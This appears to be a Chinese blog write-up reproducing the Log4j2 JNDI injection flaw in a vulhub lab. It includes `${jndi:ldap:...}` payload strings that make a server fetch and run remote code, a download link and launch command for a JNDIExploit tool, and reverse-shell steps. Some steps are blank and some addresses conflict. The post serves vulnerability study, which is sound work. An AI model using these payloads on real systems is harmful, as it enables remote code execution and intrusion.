type
status
date
slug
summary
tags
category
icon
password
简介
Apache log4j是Apache的一个开源项目,Apache log4j 2是一个就Java的日志记录工具。通过重写了log4j框架,并且引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。
log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。
JNDI实现原理
JNDI通过lookup()方法解析接收自应用程序的信息,从而去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务…)查找资源。
格式 ${jndi:rmi:192.168.96.1:1099/wqiyua}

漏洞原理
当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中
假如日志中含有该语句${jndi:ldap:192.168.96.1:1099/exp},log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:192.168.96.1:1099/exp
解析到ldap,就会去192.168.61.129:1099的ldap服务找名为shell的资源,如果找不到就会去http服务中找
在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,从而实现注入
攻击者就可以通过shell实现任意的命令执行,造成严重危害。
受影响版本
Apache Log4j 2.x <= 2.14.1
漏洞复现(vulhub)
工具地址:
https://pan.baidu.com/s/1lxXt-27-i7I_dOUACphVtQ 提取码: nkc5
1. 检测漏洞是否存在
在线dns平台http://dnslog.cn/申请一个dns域名
构造payload并访问:

得到了jdk版本1.8.0_102

或者这样请求都可以

dns平台可以收到解析即说明漏洞存在
2. 反弹shell复现
《java版本不知是否有影响》
攻击机: 192.168.110.131
中转机: 192.168.110.128
靶机: 192.168.110.132:8983
首先中转机(0.0.0.128)(java 11)执行命令:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.110.128

然后在攻击机(0.0.0.131)(java1.8)上监听6666端口

最后构造命令在浏览器访问

发现攻击机监听成功
